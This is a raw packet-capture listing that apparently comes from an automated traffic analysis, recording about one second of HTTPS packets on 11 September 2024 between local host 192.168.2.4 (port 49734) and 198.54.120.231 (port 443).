Sep 11, 2024 22:52:13.180011034 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.180061102 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.180450916 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.180465937 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.180521965 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.180535078 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.180578947 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.181036949 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.181050062 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.181107044 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.181118965 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.181165934 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.181776047 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.181788921 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.181853056 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.181864023 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.181915998 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.182650089 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.182663918 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.182725906 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.182738066 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.182786942 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.191103935 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.191119909 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.191287041 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.191298962 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.191351891 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.378295898 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.378344059 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.378384113 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.378448009 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.378484011 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.378506899 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.378840923 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.378854990 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.378917933 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.378931999 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.378976107 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.379272938 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.379286051 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.379342079 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.379354000 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.379439116 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.379937887 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.379952908 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.380002975 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.380013943 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.380065918 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.384700060 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.384713888 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.384774923 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.384785891 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.384834051 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.385154963 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.385168076 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.385333061 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.385344028 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.385396957 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.385657072 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.385670900 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.385721922 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.385735035 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.385761976 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.385781050 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.386404037 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.386419058 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.386481047 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.386492968 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.386542082 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.386871099 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.386904955 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.386931896 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.386943102 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.386969090 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.386986971 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.463331938 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.463346958 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.463429928 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.463463068 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.463485003 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.463509083 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.464037895 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.464051962 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.464098930 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.464104891 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.464123011 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.464144945 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.464531898 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.464548111 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.464606047 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.464612961 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.464653969 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.465018988 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.465033054 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.465084076 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.465089083 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.465127945 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.465420961 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.465432882 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.465492010 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.465498924 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.465537071 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.466116905 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.466129065 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.466176987 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.466183901 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.466223001 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.559808969 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.559827089 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.559988022 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.560070038 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.560127974 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.560224056 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.560236931 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.560282946 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.560303926 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.560332060 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.560353041 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.560849905 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.560866117 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.560929060 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.560941935 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.560996056 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.561234951 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.561248064 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.561300039 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.561312914 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.561363935 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.561960936 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.561974049 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.562025070 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.562036037 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.562083960 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.562480927 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.562514067 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.562542915 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.562560081 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.562583923 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.562602997 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.562932968 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.562946081 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.562992096 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.563008070 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.563033104 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.563051939 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.563497066 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.563509941 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.563569069 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.563586950 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.563612938 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.563630104 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.647746086 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.647763014 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.647845984 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.647905111 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.647962093 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.648210049 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.648224115 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.648268938 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.648284912 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.648319006 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.648339033 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.648619890 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.648641109 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.648679018 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.648689985 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.648719072 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.648758888 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.649003029 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.649017096 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.649075985 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.649087906 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.649137020 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.649991989 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.650006056 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.650057077 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.650067091 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.650116920 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.650599957 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.650614023 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.650671005 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.650682926 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.650731087 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.651060104 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.651077986 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.651118994 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.651129961 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.651156902 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.651176929 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.651492119 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.651511908 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.651554108 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.651571035 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.651596069 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.651613951 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.750283003 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.750305891 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.750514030 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.750576973 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.750654936 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.750792027 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.750804901 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.750973940 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.750973940 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.751038074 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.751092911 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.751883984 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.751897097 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.751955986 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.752019882 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.752064943 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.752064943 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.752681971 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.752693892 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.752756119 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.752772093 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.752837896 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.753426075 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.753439903 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.753509045 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.753520966 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.753566980 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.753840923 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.753853083 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.753910065 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.753921986 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.753972054 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.754245043 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.754257917 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.754316092 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.754328966 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.754378080 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.754817009 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.754829884 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.754887104 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.754899025 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.754949093 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.840610027 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.840627909 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.840923071 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.840955019 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.840969086 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.841156006 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.841226101 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.841226101 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.841289043 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.841324091 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.841351032 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.841367006 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.841407061 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.841448069 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.841928005 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.841948986 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.842140913 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.842201948 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.842272997 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.842431068 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.842448950 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.842513084 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.842528105 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.842581987 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.842924118 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.842937946 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.843003035 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.843014002 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.843066931 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.843354940 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.843374968 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.843446970 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.843458891 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.843507051 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.843767881 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.843781948 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.843842030 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:13.843854904 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:13.843899965 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.218029022 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.218048096 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.218164921 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.218225002 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.218288898 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.218364954 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.218409061 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.218436956 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.218450069 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.218483925 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.218504906 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.218866110 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.218887091 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.218949080 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.218960047 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.219013929 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.219278097 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.219295979 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.219357967 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.219368935 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.219424009 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.219790936 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.219811916 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.219873905 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.219885111 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.219927073 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.220210075 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.220227003 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.220283985 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.220295906 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.220354080 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.220624924 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.220640898 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.220704079 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.220715046 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.220762014 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.221024990 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.221046925 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.221107960 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.221121073 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.221185923 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.221551895 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.221575022 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.221635103 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.221647024 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.221698999 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.221944094 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.221960068 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.222023010 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.222034931 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.222084045 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.222336054 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.222358942 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.222405910 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.222417116 CEST	443	49734	198.54.120.231	192.168.2.4
Sep 11, 2024 22:52:14.222446918 CEST	49734	443	192.168.2.4	198.54.120.231
Sep 11, 2024 22:52:14.222467899 CEST	49734	443	192.168.2.4	198.54.120.231
